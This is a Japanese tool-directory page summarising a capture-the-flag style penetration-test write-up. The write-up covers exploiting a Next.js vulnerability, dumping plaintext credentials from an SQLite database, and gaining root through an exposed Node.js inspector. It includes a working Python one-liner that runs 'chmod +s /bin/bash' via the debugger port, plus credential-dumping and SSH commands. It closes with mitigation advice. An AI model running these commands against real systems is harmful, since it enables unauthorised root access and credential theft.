Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-55182 — # 技術的ペネトレーションテストのレポート:Next.js における CVE-2025-55182 の悪用、SQLite からの認証情報収集、Node.js インスペクタを介した権限昇格による root アクセス獲得の実証 | Kitploit
ツール/GitHubGitHub/chrisbarack/cve-2025-55182
特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubchrisbarack/cve-2025-55182

cve-2025-55182

# 技術的ペネトレーションテストのレポート:Next.js における CVE-2025-55182 の悪用、SQLite からの認証情報収集、Node.js インスペクタを介した権限昇格による root アクセス獲得の実証

リポジトリを見る
9時間46分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ペネトレーションテストレポート: Next.js RCE & Node.js Inspector 権限昇格

本技術レポートでは、脆弱性のあるNext.js Webアプリケーションをホストするターゲットを侵害し、収集した認証情報による初期アクセスを達成し、設定ミスのあるローカルNode.js V8インスペクタを悪用してroot権限へ昇格するまでの攻撃経路について詳述します。

フェーズ1: 外部偵察とWebアプリケーションの悪用

初期フットプリンティング

ターゲットは標準的なHTTP/HTTPSポート(80/443)で動作するNext.js Webアプリケーションをホストしています。標準的なディレクトリ列挙と手動分析により、アプリケーションがCVE-2025-55182に対して脆弱なバージョンで動作していることが示されています。

Burp Suiteによる悪用

脆弱性を悪用するには、Burp Suite(またはBurp Repeater)を使用してアプリケーションのトラフィックを傍受し、CVE-2025-55182を標的とした細工されたエクスプロイトペイロードを注入します。

データベースの発見

エクスプロイトを通じてコード実行とローカルファイル読み取りを達成したら、アプリケーションのソースディレクトリを調査します。ローカルSQLiteデータベースファイル(database.db)は、メインのアプリケーションソースコードの隣に配置されています。

フェーズ2: 認証情報の抽出と初期アクセス

データベースの調査

データベースファイルの内容をクエリまたはダンプして、保存されているユーザーレコードを抽出します。

root@kitploit:~
sqlite3 database.db "SELECT * FROM users;"

認証情報の抽出

ローカルSSHユーザー engineer に関連付けられた平文パスワードを特定します。

SSHログイン

回収した認証情報を使用して、ターゲットマシンとのSSHセッションを確立します:

root@kitploit:~
ssh engineer@<TARGET-IP>

ユーザーフラグの取得

認証が完了したら、ホームディレクトリにあるユーザーフラグを読み取ります:

root@kitploit:~
cat /home/engineer/user.txt

フェーズ3: Node.js Inspectorによる権限昇格

内部ポートの偵察

ローカルループバックインターフェース(127.0.0.1)にのみバインドされているサービスを確認し、内部攻撃対象領域を特定します:

root@kitploit:~
netstat -tulnp

結果: 内部Node.jsサービスがローカルポート9229でアクティブに待ち受けています。

デバッガーUUIDの発見

Node.js V8デバッグポートは、WebSocket通信に一意のセッションUUIDを必要とします。curl を使用して /json を付加したローカルディスカバリーエンドポイントをクエリします:

root@kitploit:~
curl -s http://127.0.0.1:9229/json

出力:

root@kitploit:~
{
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639"
}

権限昇格ペイロードの実行

ターゲットのNode.jsプロセスはroot権限で実行されているため、Pythonを使用してWebSocket経由でChrome DevTools Protocol(CDP)の Runtime.evaluate メッセージを送信し、/bin/bash にSUIDビットを設定できます:

root@kitploit:~
python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/<YOUR-UUID>"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\")"}})); print(ws.recv()); ws.close()'

rootシェルへの移行

/bin/bash にSUID権限が有効になっていること(-rwsr-sr-x)を確認し、特権を保持したままBashを起動します:

root@kitploit:~
ls -l /bin/bash
bash -p

rootフラグの取得

rootユーザーのホームディレクトリに移動して、最終フラグを取得します:

root@kitploit:~
cd /root
cat root.txt

これらの攻撃ベクトルから環境を保護するには、既知のCVEに対して脆弱なWebアプリケーションにパッチを適用し、データベースファイルの権限を適切に制限し、デバッグポート(ポート9229のNode.jsインスペクタなど)が本番環境で公開されたり、認証なしでアクセス可能な状態に放置されたりしないようにする必要があります。

ツールをダウンロード